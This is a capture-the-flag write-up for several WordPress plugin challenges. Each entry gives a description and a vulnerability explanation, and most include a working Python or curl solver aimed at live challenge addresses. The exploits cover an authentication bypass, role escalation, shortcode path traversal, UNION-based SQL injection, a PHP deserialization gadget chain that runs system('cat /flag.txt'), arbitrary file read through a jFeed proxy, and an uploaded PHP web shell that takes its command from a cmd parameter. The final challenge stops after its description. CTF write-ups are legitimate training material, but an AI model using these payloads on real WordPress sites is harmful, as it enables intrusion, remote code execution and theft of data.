Ghost Post
| Solves | 23 |
Description
Building an app is hard, but we can just base it on WordPress. Nothing can go wrong there, right?
This is a whitebox challenge, no need to brute-force anything (login, endpoint, etc).
Attachments
References
The endpoint /wp-json/ghostly/v1/login is a custom REST route in the WordPress backend. Here’s the kicker:
- It does not validate permissions securely.
- It allows any existing non-admin user (like
ghosty) to authenticate using the Application Passwords API, and automatically sets session cookies. - Once authenticated, we get full access to the content behind
/ghost-view/, which includes the flag.
Here’s the vulnerable PHP handler logic (as reverse-engineered from the behavior):
register_rest_route('ghostly/v1', '/login', [
'methods' => 'POST',
'callback' => 'ghostly_login_handler',
'permission_callback' => '__return_true',
]);
function ghostly_login_handler(WP_REST_Request $request) {
$username = $request->get_param('user');
$password = $request->get_param('pass');
$existing_user = username_exists($username);
if (empty($username) || empty($password) || !$existing_user) {
return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
}
if (user_can($existing_user, 'manage_options')) {
return new WP_REST_Response(['error' => 'Keep your site secure! Don\'t use administrator accounts!'], 403);
}
$user = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($user)) {
return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
}
ghostly_set_secure_cookie("ghostly_id", $user->ID);
ghostly_set_secure_cookie("ghostly_logged_in", true);
return new WP_REST_Response(['success' => 'Ghost session established'], 200);
}
This effectively means: if you know a username, and it's not an admin, you're in.
Solver
The following Python script logs into the ghosty user account via the insecure endpoint and reads the contents of /ghost-view/ — where the flag is hidden.
import httpx
import asyncio, os, base64
from urllib.parse import urlencode
URL = "http://localhost"
URL = "http://18.140.17.89:9180/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def app_password(self, username, password):
"""
register_rest_route('ghostly/v1', '/login', [
'methods' => 'POST',
'callback' => 'ghostly_login_handler',
'permission_callback' => '__return_true',
]);
function ghostly_login_handler(WP_REST_Request $request) {
$username = $request->get_param('user');
$password = $request->get_param('pass');
$existing_user = username_exists($username);
if (empty($username) || empty($password) || !$existing_user) {
return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
}
if (user_can($existing_user, 'manage_options')) {
return new WP_REST_Response(['error' => 'Keep your site secure! Don\'t use administrator accounts!'], 403);
}
$user = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($user)) {
return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
}
ghostly_set_secure_cookie("ghostly_id", $user->ID);
ghostly_set_secure_cookie("ghostly_logged_in", true);
return new WP_REST_Response(['success' => 'Ghost session established'], 200);
}
"""
return self.c.post("/index.php/wp-json/ghostly/v1/login", data={
"user": username,
"pass": password
})
class API(BaseAPI):
...
async def main():
api = API()
res = await api.app_password("ghosty", "123")
print(res.text)
res = await api.c.get("/ghost-view/")
# res = await api.app_password("dimas123", "123")
print(res.text)
if __name__ == "__main__":
asyncio.run(main())
Flag
Open Contributions
| Solves | 36 |
Description
I installed a plugin enabling everybody to post their articles on my blog, that way I won't need to spend time on it, I'm a genius right?
This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).
Attachments
References
The first vuln is we can promote our self into constributor, Any logged-in user can call this and change their role to "contributor" without any checks. Once we're a contributor, we can create posts and use shortcodes.
The second vuln is file read via shortcode path traversal here:
public static function renderPreview($atts) {
$atts = shortcode_atts(['path' => ''], $atts);
$filepath = ABSPATH . sanitize_text_field($atts['path']);
if (file_exists($filepath)) {
return '<pre>' . esc_html(file_get_contents($filepath)) . '</pre>';
}
return '<strong>File ' . $filepath . ' not found or inaccessible.</strong>';
}
This allows any contributor to read files from the server using a path like:
[preview_file path="../../../../../flag.txt"]
There’s no proper path validation, so we can use ../ to reach outside the web root.
Solver
import httpx
import asyncio
URL = "http://18.140.17.89:9150"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def wp_login(self, username: str, password: str) -> None:
return self.c.post("/wp-login.php", data={
"log": username,
"pwd": password
})
def app_password(self, ):
return self.c.post("/wp-admin/admin-ajax.php", data={
"action": "promote_to_contributor"
})
class API(BaseAPI):
...
async def main():
api = API()
res = await api.wp_login("dimas123", "dimas123")
res = await api.promote_to_contributor()
print(res.text)
"""
add this shortcode into your page
[preview_file path="../../../../../flag.txt"]
"""
if __name__ == "__main__":
asyncio.run(main())
Flag
Crusher
| Solves | 18 |
Description
you can crush this, absolutely.
NOTE: This is a fully white box challenge, almost no heavy brute force is needed.
Attachments
References
Step 1: Register as an Author
In this challenge, we’re dealing with a vulnerable WordPress plugin that allows unauthenticated user registration with elevated privileges and an SQL injection vulnerability via a shortcode.
The plugin exposes a registration endpoint at:
/wp-content/plugins/flynax-bridge/request.php?route=register-user
The vulnerable code automatically assigns the author role during registration without proper access control:
$type = 'author';
// ...
$user = new WP_User($user_id);
$user->set_role($type);
This means anyone can become an Author just by sending a POST request.
Step 2: SQL Injection via Shortcode
There’s a shortcode handler in the plugin:
add_shortcode('rmpf_roadmap_widget', function ($atts) {
ob_start();
rmpf_widget_shortcode($atts);
return ob_get_clean();
});
Inside rmpf_widget_shortcode, the value of board_id is used directly without sanitization:
$board_id = $atts['board_id'];
$wp_get_roadmap_widget->widget_style($board_id, $unique_id);
This allows SQL injection through the board_id parameter.
Example payload:
[rmpf_roadmap_widget board_id='1 UNION SELECT 1,option_name,3,4,5,6,7,8 FROM wp_options WHERE option_name=0x666c65675f666c6567-- -']
This attempts to extract a value from the wp_options table where the option name is 'flag_fleg' (hex: 0x666c65675f666c6567).
Solver
import httpx
import asyncio
URL = "http://localhost"
URL = "http://18.140.17.89:9120"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def wp_login(self, username: str, password: str) -> None:
return self.c.post("/wp-login.php", data={
"log": username,
"pwd": password
})
def register(self, username: str, password: str, email: str, first_name: str, last_name: str) -> None:
"""
public static function registerUser()
{
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
$email = $_REQUEST['email'];
$type = 'author';
$firstName = $_REQUEST['first_name'];
$lastName = $_REQUEST['last_name'];
if (username_exists($username) || email_exists($email)) {
return;
} else {
$userdata = array(
'user_pass' => $password,
'user_login' => $username,
'user_email' => $email,
);
$user_id = wp_insert_user($userdata);
update_user_meta($user_id, "first_name", $firstName);
update_user_meta($user_id, "last_name", $lastName);
require_once '../../../wp-load.php';
$user = new WP_User($user_id);
$user->set_role($type);
$out = array(
'status' => 'OK',
'wp_user_id' => $user_id,
);
print(json_encode($out));
}
}
"""
return self.c.post("/wp-content/plugins/flynax-bridge/request.php?route=register-user", data={
"username": username,
"password": password,
"email": email,
"first_name": first_name,
"last_name": last_name
})
class API(BaseAPI):
...
async def main():
api = API()
res = await api.register("dimas123", "dimas123", "dimas123@gmail.com", "Dimas", "123")
print(res.text)
res = await api.wp_login("dimas123", "dimas123")
print(res.text)
"""
add_action('widgets_init', 'RMPF_Widget');
function rmpf_widget_shortcode($atts){
$atts = shortcode_atts(
array(
'board_id' => '',
),
$atts,
'rmpf_roadmap_widget'
);
$board_id = $atts['board_id'];
$unique_id = uniqid('widget_');
$wp_get_roadmap_widget = new RMPF_Widget();
$wp_get_roadmap_widget->widget_style($board_id,$unique_id);
}
add_shortcode('rmpf_roadmap_widget', function ($atts) {
ob_start();
rmpf_widget_shortcode($atts);
return ob_get_clean();
});
"""
"""
add this into your shortcode
[rmpf_roadmap_widget board_id='1 UNION SELECT 1,option_name,3,4,5,6,7,8 FROM wp_options where option_name=0x666c65675f666c6567-- -']
"""
if __name__ == "__main__":
asyncio.run(main())
Flag
Everest Expedition
| Solves | 11 |
Description
I made a plugin for the local travel agency that takes their clients on Everest expeditions. They want a cool and secure plugin. Is this alright?
This is a whitebox challenge, no need to brute-force anything (login, endpoint, etc).
Attachments
References
This challenge abuses PHP’s unserialize() function and a vulnerable class structure to achieve Remote Code Execution (RCE) and read the flag.
Vulnerability: Unsafe maybe_unserialize() in Post Creation
The WordPress REST endpoint at /wp-json/everest/v1/expedition takes a parameter remarks which is unserialized before being inserted into post content:
maybe_unserialize($expedition_details['remarks'])
This makes the application vulnerable to PHP Object Injection, especially because custom classes are defined in the same plugin.
Gadget Chain
The following gadget chain allows code execution:
class Everest_Expedition_Data {
private $serializer;
public function __construct($serializer) {
$this->serializer = $serializer;
}
}
class Everest_Climbing_Route {
private $route_data;
private $sherpa;
public function __construct($route_data, $sherpa) {
$this->route_data = $route_data;
$this->sherpa = $sherpa;
}
}
When unserialized, if the application uses __destruct() or similar logic with dynamic method invocation, it can lead to execution like $sherpa($route_data) — effectively system("cat /flag.txt").
Solver
php gadged
<?php
class Everest_Expedition_Data {
private $serializer;
public function __construct($serializer) {
$this->serializer = $serializer;
}
}
class Everest_Climbing_Route {
private $route_data;
private $sherpa;
public function __construct($route_data, $sherpa) {
$this->route_data = $route_data;
$this->sherpa = $sherpa;
}
}
$serializer = new Everest_Climbing_Route("cat /flag.txt", "system");
$obj = new Everest_Expedition_Data($serializer);
echo base64_encode(serialize($obj));solver
import httpx
import asyncio, os, base64
from urllib.parse import urlencode
# URL = "http://localhost"
URL = "http://18.140.17.89:9140/"
def payload():
return base64.b64decode(os.popen("php solve.php").read()).decode()
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def unserialize(self, remarks):
"""
register_rest_route('everest/v1', '/expedition', array(
'methods' => 'POST',
'callback' => array($this, 'handle_expedition_submission'),
'permission_callback' => function() {
return true;
},
'args' => array(
...snip...
public function createExpeditionPost() {
$expedition_details = $this->getExpeditionDetails();
$post_data = array(
'post_title' => $expedition_details['name'],
'post_status' => 'publish',
'post_type' => 'everest_expedition',
'post_content' => sprintf(
'Expedition from %s to %s. Team size: %d. Route: %s. Remarks: %s',
$expedition_details['start_date'],
$expedition_details['end_date'],
$expedition_details['team_size'],
$expedition_details['route'],
maybe_unserialize($expedition_details['remarks'])
)
);
$post_id = wp_insert_post($post_data);
if (is_wp_error($post_id)) {
return $post_id;
}
// wp_delete_post($post_data); //TODO: Remove this code and store the submissions
return $post_id;
}
"""
data = {
"name": "test",
"start_date": "2021-01-01",
"end_date": "2021-01-02",
"team_size": 1,
"route": "test",
}
return self.c.post("/index.php/wp-json/everest/v1/expedition", headers={"Content-Type": "application/x-www-form-urlencoded"}, data=urlencode(data)+"&remarks="+remarks.replace("\0", "%00"))
class API(BaseAPI):
...
async def main():
api = API()
p = payload()
print(p)
res = await api.unserialize(p)
print(res.text)
if __name__ == "__main__":
asyncio.run(main())
Flag
🍊 Orangy
| Solves | 10 |
Description
URGENT: We've intercepted a WordPress development environment from the notorious ransomware group "Orangy". Their decryption key is hidden somewhere in the server, and we need it to help hundreds of affected customers recover their files.
Time is critical - can you help us retrieve the key before more systems are compromised?
This is a gray-box challenge, no need to bruteforce anything (login, endpoint, etc).
Attachments
References
This challenge is using old version of apache, that is still vulnerable to this kind of vulnerability
int the readme there’s also hint that it use classic-editor and use jFeed in it, which is if we search in github here https://github.com/jfhovinne/jFeed/blob/master/proxy.php it’s vulnerable to arbitrary file read.
Solver
So by combining these to knowledge, i get this payload to get arbitrary file read into /opt/flag.txt
curl 'http://18.140.17.89:9160/html/tmp/backup/classic-editor/scripts/jFeed/proxy.php%3findex.php/&url=/opt/flag.txt&' -v
Flag
Unknown
| Solves | 10 |
Description
long time ago, there is something, yea, something.
NOTE: This is a fully white box challenge, almost no heavy brute force is needed.
Attachments
References
The WordPress plugin registers an AJAX handler:
add_action("wp_ajax_nopriv_register_user", "register_user");
It allows unauthenticated registration of users with the contributor role. Additionally, Elementor allows users with upload capability to import templates with attached media, which internally reads and saves file content from uploaded files—even if they are not images.
Inside the Elementor import handler:
$file_content = Utils::file_get_contents($attachment['tmp_name']);
No proper filtering of filename or path is done before reading the file. This means Local File Inclusion is possible via a crafted JSON template.
importer
public function import( $attachment, $parent_post_id = null ) {
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
} else {
// Used when attachment information is passed to this method.
if ( ! empty( $attachment['id'] ) ) {
$saved_image = $this->get_saved_image( $attachment );
if ( $saved_image ) {
return $saved_image;
}
}
// Extract the file name and extension from the url.
$filename = basename( $attachment['url'] );
$request = wp_safe_remote_get( $attachment['url'] );
// Make sure the request returns a valid result.
if ( is_wp_error( $request ) || ( ! empty( $request['response']['code'] ) && 200 !== (int) $request['response']['code'] ) ) {
return false;
}
$file_content = wp_remote_retrieve_body( $request );
}
if ( empty( $file_content ) ) {
return false;
}
$filetype = wp_check_filetype( $filename );
// If the file type is not recognized by WordPress, exit here to avoid creation of an empty attachment document.
if ( ! $filetype['ext'] ) {
return false;
}
if ( 'svg' === $filetype['ext'] ) {
// In case that unfiltered-files upload is not enabled, SVG images should not be imported.
if ( ! Uploads_Manager::are_unfiltered_uploads_enabled() ) {
return false;
}
$svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' );
$file_content = $svg_handler->sanitizer( $file_content );
};
$upload = wp_upload_bits(
$filename,
null,
$file_content
);
$post = [
'post_title' => $filename,
'guid' => $upload['url'],
];
$info = wp_check_filetype( $upload['file'] );
if ( $info ) {
$post['post_mime_type'] = $info['type'];
} else {
// For now just return the origin attachment
return $attachment;
// return new \WP_Error( 'attachment_processing_error', esc_html__( 'Invalid file type.', 'elementor' ) );
}
$post_id = wp_insert_attachment( $post, $upload['file'], $parent_post_id );
apply_filters( 'elementor/template_library/import_images/new_attachment', $post_id );
// On REST requests.
if ( ! function_exists( 'wp_generate_attachment_metadata' ) ) {
require_once ABSPATH . '/wp-admin/includes/image.php';
}
if ( ! function_exists( 'wp_read_video_metadata' ) ) {
require_once ABSPATH . '/wp-admin/includes/media.php';
}
wp_update_attachment_metadata(
$post_id,
wp_generate_attachment_metadata( $post_id, $upload['file'] )
);
update_post_meta( $post_id, '_elementor_source_image_hash', $this->get_hash_image( $attachment['url'] ) );
$new_attachment = [
'id' => $post_id,
'url' => $upload['url'],
];
if ( ! empty( $attachment['id'] ) ) {
$this->_replace_image_ids[ $attachment['id'] ] = $new_attachment;
}
return $new_attachment;
}Solver
import httpx
import asyncio
import json
import re
# URL = "http://localhost"
URL = "http://18.140.17.89:9190/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def wp_login(self, username: str, password: str) -> None:
return self.c.post("/wp-login.php", data={
"log": username,
"pwd": password
})
def register(self, username: str, password: str, email: str) -> None:
"""
add_action("wp_ajax_nopriv_register_user", "register_user");
function register_user(){
$userdata = array(
'user_login' => sanitize_text_field($_POST["username"]),
'user_pass' => sanitize_text_field($_POST["password"]),
'user_email' => sanitize_text_field($_POST["email"]),
'role' => 'contributor',
);
wp_insert_user($userdata);
echo "user created";
}
"""
return self.c.post("/wp-admin/admin-ajax.php", data={
"action": "register_user",
"username": username,
"password": password,
"email": email
})
def elementor_library_direct_actions(self, file, nonce) -> None:
return self.c.post("/wp-admin/admin-ajax.php", data={
"action": "elementor_library_direct_actions",
"library_action": "direct_import_template",
"_nonce": nonce
}, files={"file": file})
class API(BaseAPI):
async def get_nonce(self):
res = await self.c.get("/wp-admin/edit.php?post_type=elementor_library&tabs_group=library")
print(res.text)
'<a href="http://localhost/wp-admin/admin-ajax.php?action=elementor_library_direct_actions&library_action=export_template&source=local&_nonce=f4ab20dd7e&template_id=123">Export Template</a>'
nonce = re.search(r'\<a href=".*_nonce=([^&]+)', res.text)
print(nonce)
return nonce.group(1)
async def main():
api = API()
# res = await api.register("dimas123", "dimas123", "dimas123@gmail.com")
# print(res.text)
res = await api.wp_login("dimas123", "dimas123")
nonce = await api.get_nonce()
print(nonce)
res = await api.elementor_library_direct_actions(("/flag.txt", json.dumps({"content":[{"id":"53a197a3","settings":{"flex_direction":"column"},"elements":[{"id":"346b2de5","settings":{"content_width":"full","title":"Testing"},"elements":[],"isInner":False,"widgetType":"heading","elType":"widget"}],"isInner":False,"elType":"container"},{"id":"3b03c1e5","settings":{"flex_direction":"column"},"elements":[{"id":"32d820f6","settings":{"content_width":"full","image":{"tmp_name":"/flag.txt", "name":"/flag.txt","id":102,"size":"","alt":"","source":"library"}},"elements":[],"isInner":False,"widgetType":"image","elType":"widget"}],"isInner":False,"elType":"container"}],"page_settings":[],"version":"0.4","title":"dimas","type":"container"}), "application/json")
,nonce)
print(res.text)
# then read your new template
"""
public function import( $attachment, $parent_post_id = null ) {
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
} else {
// Used when attachment information is passed to this method.
if ( ! empty( $attachment['id'] ) ) {
$saved_image = $this->get_saved_image( $attachment );
if ( $saved_image ) {
return $saved_image;
}
}
// Extract the file name and extension from the url.
$filename = basename( $attachment['url'] );
$request = wp_safe_remote_get( $attachment['url'] );
// Make sure the request returns a valid result.
if ( is_wp_error( $request ) || ( ! empty( $request['response']['code'] ) && 200 !== (int) $request['response']['code'] ) ) {
return false;
}
$file_content = wp_remote_retrieve_body( $request );
}
if ( empty( $file_content ) ) {
return false;
}
$filetype = wp_check_filetype( $filename );
// If the file type is not recognized by WordPress, exit here to avoid creation of an empty attachment document.
if ( ! $filetype['ext'] ) {
return false;
}
if ( 'svg' === $filetype['ext'] ) {
// In case that unfiltered-files upload is not enabled, SVG images should not be imported.
if ( ! Uploads_Manager::are_unfiltered_uploads_enabled() ) {
return false;
}
$svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' );
$file_content = $svg_handler->sanitizer( $file_content );
};
$upload = wp_upload_bits(
$filename,
null,
$file_content
);
$post = [
'post_title' => $filename,
'guid' => $upload['url'],
];
$info = wp_check_filetype( $upload['file'] );
if ( $info ) {
$post['post_mime_type'] = $info['type'];
} else {
// For now just return the origin attachment
return $attachment;
// return new \WP_Error( 'attachment_processing_error', esc_html__( 'Invalid file type.', 'elementor' ) );
}
$post_id = wp_insert_attachment( $post, $upload['file'], $parent_post_id );
apply_filters( 'elementor/template_library/import_images/new_attachment', $post_id );
// On REST requests.
if ( ! function_exists( 'wp_generate_attachment_metadata' ) ) {
require_once ABSPATH . '/wp-admin/includes/image.php';
}
if ( ! function_exists( 'wp_read_video_metadata' ) ) {
require_once ABSPATH . '/wp-admin/includes/media.php';
}
wp_update_attachment_metadata(
$post_id,
wp_generate_attachment_metadata( $post_id, $upload['file'] )
);
update_post_meta( $post_id, '_elementor_source_image_hash', $this->get_hash_image( $attachment['url'] ) );
$new_attachment = [
'id' => $post_id,
'url' => $upload['url'],
];
if ( ! empty( $attachment['id'] ) ) {
$this->_replace_image_ids[ $attachment['id'] ] = $new_attachment;
}
return $new_attachment;
}
"""
if __name__ == "__main__":
asyncio.run(main())
Flag
What is magic
| Solves | 10 |
Description
¯_(ツ)_/¯ it happens.
This is a whitebox challenge, no need to brute-force anything (login, endpoint, etc).
Attachments
References
This PHP challenge is essentially a SQL Injection (SQLi) via filter_input bypass, using a custom endpoint (wim.php) that dynamically runs input retrieval functions and builds an SQL query without proper sanitization.
Challenge Breakdown
if ($func === $bptm && function_exists($func)) {
$locate = $func($input, 'locate');
$fallback = $func($input, 'fallback');
}
- This uses
filter_input()to get thelocateandfallbackparameters from the GET input ($input = 1). - It builds an SQL query without sanitizing
locateandfallback.
$sql = "
SELECT p.id, l.value
FROM products p
JOIN pass l ON l.value IN ({$join}) AND l.active = 1
";
Thus, if you can inject SQL via fallback, you can force a custom query like:
SELECT p.id, l.value
FROM products p
JOIN pass l ON l.value IN ('dimas', 'asd') UNION SELECT 1, value FROM pass -- ') AND l.active = 1
Working Exploit Example
http://18.140.17.89:9170/wim.php?func=filter_input&input=1&locate=dimas&fallback=asd')%20UNION%20SELECT%201,value%20FROM%20pass--%20-
Explanation:
func=filter_inputtriggers the bypass.input=1tellsfilter_inputto pull fromINPUT_GET.locate=dimas, a valid placeholder.fallback=asd') UNION SELECT 1,value FROM pass-- -triggers SQLi to read frompass.value.
Final Step
If the SQLi is successful and fnl matches the value ($lvalue), the flag is echoed:
if ($results && $fnl === $lvalue){
echo "<pre> testing..." . $lmi ."</pre>";
}
So once the correct SQLi is issued and the correct fnl value is guessed (or brute-forced if not known), the script prints:
<pre> testing...CTF{REDACTED}</pre>
Solver
http://18.140.17.89:9170/wim.php?func=filter_input&input=1&fnl=foo&locate=dimas&fallback=asd%27)%20UNION%20SELECT%201,value%20FROM%20pass--%20-&fnl=87877656438937866554323413_?%C2%BF[]4676=p/hu?_=?key_value
Flag
Custom Import
| Solves | 9 |
Description
I try to use this old plugin to import stuff to my e-commerce website. I like it, so far.
This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).
Attachments
References
The backend handler (inferred from the comments) processes files from the async-upload field and allows customization of type, ext, and test_type parameters for the upload function wp_handle_upload.
$uploaded_file = wp_handle_upload($file, array('test_form' => true, 'action' => 'wpie_upload_csv_file', 'test_type' => false, 'ext' => "csv", 'type' => 'text/csv'));
Critically:
- The file type check is bypassed by forcing
test_type => false. - The backend stitches together chunks of the uploaded file but ultimately saves it using the original filename.
- The final path is exposed via the
file_urlin the JSON response. - Files end up in a web-accessible location, and the attacker can execute commands via
?cmd=....
Solver
import httpx
import asyncio
# URL = "http://localhost"
URL = "http://18.140.17.89:9130"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def wp_login(self, username: str, password: str) -> None:
return self.c.post("/wp-login.php", data={
"log": username,
"pwd": password
})
def register(self, username: str, password: str, email: str):
"""
add_action("wp_ajax_nopriv_register_user", "register_user");
function register_user(){
$userdata = array(
'user_login' => sanitize_text_field($_POST["username"]),
'user_pass' => sanitize_text_field($_POST["password"]),
'user_email' => sanitize_text_field($_POST["email"]),
'role' => 'subscriber',
);
wp_insert_user($userdata);
echo "user created";
}
"""
return self.c.post("/wp-admin/admin-ajax.php", data={
"action": "register_user",
"username": username,
"password": password,
"email": email,
})
def upload(self, file):
"""
$file = $_FILES['async-upload'];
$uploaded_file = wp_handle_upload($file, array('test_form' => true, 'action' => 'wpie_upload_csv_file', 'test_type' => false, 'ext' => "csv", 'type' => 'text/csv'));
$current_time = time();
if ($uploaded_file && !isset($uploaded_file['error'])) {
$return_value['file_status'] = "success";
if (isset($_POST['chunks']) && isset($_POST['chunk']) && preg_match('/^[0-9]+$/', $_POST['chunk'])) {
$final_file = basename($_POST['name']);
rename($uploaded_file['file'], WPIE_UPLOAD_DIR . '/' . $final_file . '.' . $_POST['chunk'] . '.csv.tmp');
$uploaded_file['file'] = WPIE_UPLOAD_DIR . '/' . $final_file . '.' . $_POST['chunk'] . '.csv.tmp';
// Final chunk? If so, then stich it all back together
if ($_POST['chunk'] == $_POST['chunks'] - 1) {
if ($wh = fopen(WPIE_UPLOAD_DIR . '/' . $current_time . "_" . $final_file, 'wb')) {
for ($i = 0; $i < $_POST['chunks']; $i++) {
$rf = WPIE_UPLOAD_DIR . '/' . $final_file . '.' . $i . '.csv.tmp';
if ($rh = fopen($rf, 'rb')) {
while ($line = fread($rh, 32768))
fwrite($wh, $line);
fclose($rh);
@unlink($rf);
}
}
fclose($wh);
$uploaded_file['file'] = WPIE_UPLOAD_DIR . '/' . $current_time . "_" . $final_file;
}
}
}
} else {
$return_value['file_status'] = "fail";
}
$return_value = array();
$return_value['message'] = 'success';
$return_value['file_url'] = $uploaded_file['file'];
echo json_encode($return_value);
die();
}
"""
return self.c.post("/wp-admin/admin-ajax.php", data={
"action": "wpie_upload_csv_file",
}, files={"async-upload": file})
class API(BaseAPI):
...
async def main():
api = API()
res = await api.register("dimas1234", "dimas1234", "dimas1234@gmail.com")
# print(res.text)
res = await api.wp_login("dimas1234", "dimas1234")
# print(res.text)
res = await api.upload(("solve.php", "<?php system($_GET['cmd']); ?>"))
file_url = res.json()['file_url'].replace("/var/www/html", "")
print(file_url)
res = await api.c.get(file_url, params={"cmd": "cat /flag*"})
print(res.text)
if __name__ == "__main__":
asyncio.run(main())
Flag
Cool Templates Revenge
| Solves | 2 |
Description
Last time, turns out my cool template service is not safe, now it should be safe. Right ?
This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).
